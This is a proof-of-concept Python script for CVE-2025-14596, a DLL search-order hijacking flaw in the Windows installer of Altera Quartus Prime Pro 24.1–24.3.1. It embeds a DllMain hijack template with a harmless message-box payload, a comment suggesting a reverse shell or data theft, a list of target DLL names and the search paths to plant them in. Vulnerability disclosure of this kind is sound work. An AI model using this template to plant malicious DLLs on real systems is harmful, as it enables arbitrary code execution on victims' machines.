CVE-2025-14596: Altera Quartus Prime Pro安装程序搜索路径劫持漏洞

# CVE-2025-14596 PoC - DLL Search Order Hijacking # Target: Altera Quartus Prime Pro Installer (SFX) on Windows # Affected Versions: 24.1 through 24.3.1 import os import ctypes from ctypes import wintypes import time # Malicious DLL that will be loaded by Quartus Prime Installer MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious payload here // Example: Create reverse shell, exfiltrate data, etc. MessageBox(NULL, "Quartus Installer DLL Hijacked!", "CVE-2025-14596", MB_OK); // Write to log file for demonstration FILE *fp = fopen("C:\\\\Temp\\\\quartus_hijack_log.txt", "a"); if (fp) { fprintf(fp, "[+] DLL hijacked at: %s\\n", __TIMESTAMP__); fclose(fp); } } return TRUE; } ''' def create_malicious_dll(dll_path): """Generate malicious DLL source code""" with open(os.path.join(os.path.dirname(dll_path), 'malicious_dll.c'), 'w') as f: f.write(MALICIOUS_DLL_CODE) print(f"[*] Malicious DLL source written to: {dll_path}") def check_dll_search_order(): """Check DLL search order for Quartus installer""" print("[*] Analyzing DLL search order for Quartus Prime...") print("[*] Known vulnerable DLLs in Quartus installer:") vulnerable_dlls = [ "msvcr120.dll", "msvcp120.dll", "Qt5Core.dll", "Qt5Gui.dll" ] for dll in vulnerable_dlls: print(f" - {dll}") def exploit(): """Demonstrate the search order hijacking attack""" print("="*60) print("CVE-2025-14596 - DLL Search Order Hijacking PoC") print("="*60) # Step 1: Identify target DLLs check_dll_search_order() # Step 2: Create malicious DLL dll_path = "C:\\Program Files\\IntelSWTools\\QuartusPrimePro\\malicious.dll" create_malicious_dll(dll_path) # Step 3: Attack requires placing DLL in search path print("\n[!] Attack requires placing malicious DLL in:") print(" - Application directory") print(" - Current working directory") print(" - System32/SysWOW64 (if no safe DLL search mode)") print(" - PATH directories") print("\n[*] PoC demonstrates vulnerability concept only") print("[*] Actual exploitation requires local access and user interaction") if __name__ == "__main__": exploit()